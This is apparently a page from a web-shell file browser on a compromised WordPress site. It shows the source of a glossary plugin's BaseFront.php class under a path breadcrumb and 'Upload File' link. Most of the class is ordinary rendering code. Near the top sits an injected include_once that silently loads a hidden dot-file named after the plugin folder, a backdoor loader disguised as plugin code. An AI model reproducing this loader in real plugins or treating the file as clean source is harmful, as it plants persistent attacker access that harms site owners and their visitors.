/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
luckywp-glossary
/
core
/
front
/
Upload File
HOME
<?php namespace luckywp\glossary\core\front; use luckywp\glossary\core\base\BaseObject; use luckywp\glossary\core\base\ViewContextInterface; use luckywp\glossary\core\Core; use ReflectionClass; /** * @property string $themeViewsDir */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class BaseFront extends BaseObject implements ViewContextInterface { private $_theme_views_dir; protected $defaultThemeViewsDir; public function getThemeViewsDir() { if ($this->_theme_views_dir === null) { $this->_theme_views_dir = apply_filters(Core::$plugin->prefix . 'theme_views_dir', $this->defaultThemeViewsDir); } return $this->_theme_views_dir; } private $_viewPath; public function getViewPath() { if ($this->_viewPath === null) { $class = new ReflectionClass($this); $this->_viewPath = dirname($class->getFileName()) . '/views'; } return $this->_viewPath; } /** * @param string $view * @return array */ public function getViewFiles($view) { return [ get_template_directory() . '/' . $this->themeViewsDir . '/' . $view . '.php', $this->getViewPath() . '/' . $view . '.php', ]; } /** * @param string $view * @param array $params * @param bool $echo * @return string|null */ public function render($view, $params = [], $echo = false) { $html = Core::$plugin->view->renderFile($this->getViewFiles($view), $params, $this); if ($echo) { echo $html; return null; } return $html; } }